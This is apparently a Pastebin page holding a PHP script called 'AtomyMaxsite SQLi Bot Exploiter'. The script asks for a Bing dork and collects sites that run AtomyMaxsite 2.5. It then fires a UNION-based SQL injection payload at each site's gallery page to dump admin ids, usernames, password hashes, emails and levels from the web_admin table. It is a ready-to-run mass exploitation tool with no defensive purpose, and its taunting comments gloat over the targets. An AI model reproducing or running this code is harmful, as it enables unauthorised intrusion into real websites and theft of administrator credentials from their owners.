Advertisement
AZZATSSINS_CYBERSERK

AtomyMaxsite SQLi Bot Exploiter

Feb 26th, 2017
463
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.59 KB | None | 0 0
  1. <?php
  2. /* AZZATSSINS CYBERSERKERS
  3. BING DORK : "Powered by : ATOMYMAXSITE 2.5" "@2010-2011" "index.php?name=gallery&op=gallery_detail&id="
  4.    
  5. */
  6. error_reporting(0);
  7. @ini_set('output_buffering',0);
  8. @ini_set('display_errors', 0);
  9. echo "
  10. ############### ATOMYMAXSITE SQL BOT ###############\n
  11. ###############     AZZATSSINS       ###############
  12. ###############      T1KUS90T        ###############
  13. ";
  14. function getsource($url,$post=null) {
  15.         $ch = curl_init($url);
  16.         if($post != null) {
  17.             curl_setopt($ch, CURLOPT_POST, true);
  18.             curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  19.         }
  20.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  21.             curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  22.             curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  23.             curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  24.             curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  25.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  26.             curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  27.             curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  28.         return curl_exec($ch);
  29.             curl_close($ch);
  30.     }
  31.     function ngcurl($site) {
  32.         $ch = curl_init();
  33.         curl_setopt($ch, CURLOPT_URL, $site);
  34.         curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0');
  35.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  36.         $res = curl_exec($ch);
  37.         curl_close($ch);
  38.         return $res;
  39.     }
  40.     echo "\nDork Bing: ";$dork=trim(fgets(STDIN,1024));
  41. $do=urlencode($dork);
  42.         $npage = 1;
  43.         $npages = 30000;
  44.         $allLinks = array();
  45.         $lll = array();
  46.         while($npage <= $npages) {
  47.             $x = getsource("http://www.bing.com/search?q=".$do."&first=" . $npage."&FORM=PERE4");
  48.             if ($x) {
  49.                 preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  50.                 foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  51.                 $npage = $npage + 10;
  52.                 if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  53.             } else break;
  54.         }
  55.         $URLs = array();
  56.         foreach($allLinks as $url){
  57.             $exp = explode("/", $url);
  58.             $URLs[] = $exp[2];
  59.         }
  60.         $array = array_filter($URLs);
  61.         $array = array_unique($array);
  62.         $sss=count(array_unique($array));
  63.                 echo"\nReady to fuck ". $sss." site";
  64.  
  65.         foreach ($array as $domain) {
  66.         $_SESSION[$domain] = "1";  
  67.         $domain1 = "http://$domain";
  68.         $domain_exploit = $domain1."/index.php?name=gallery&op=gallery_detail&id=1";
  69. $target = $domain_exploit;
  70.     $payload = "'+and+0+union+select+1,2,group_concat(id,0x3a,username,0x3a,password,0x3a,email,0x3a,level),4,5+from+web_admin--+-";
  71.     $connect = ngcurl(trim(preg_replace('/\s\s+/', '',$target.$payload)));
  72.     preg_match_all('/<font size="2">(.*)<\/font>/', $connect, $matches);
  73.     echo "\n[+] Dumped Data : \n";
  74.     if(strpos($matches[0][0], ':') !== false) {
  75.         foreach ($matches[0] as $a) {
  76.             $a = str_replace('<font size="2">', '', $a);
  77.             $a = str_replace('</font>', '', $a);
  78.             $pecah1 = explode(',', $a);
  79.             foreach ($pecah1 as $res1) {
  80.                 $pecah2 = explode(':', $res1);
  81.                 echo "    [+]Site\t : ".$domain1."\n";
  82.                 echo "    [+]id\t : ".$pecah2[0]."\n";
  83.                 echo "      [-]user\t : ".$pecah2[1]."\n";
  84.                 echo "      [-]pass\t : ".$pecah2[2]."\n";
  85.                 echo "      [-]email\t : ".$pecah2[3]."\n";
  86.                 echo "      [-]level\t : ".$pecah2[4]."\n\n";
  87.             }
  88.         }
  89.     } else {
  90.                 echo "    [+]Site\t : ".$domain1."\n";
  91.                 echo "    [+]\tNot Vulnerable :P\n";
  92.     }
  93.    
  94.  
  95.     echo "\n";
  96.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement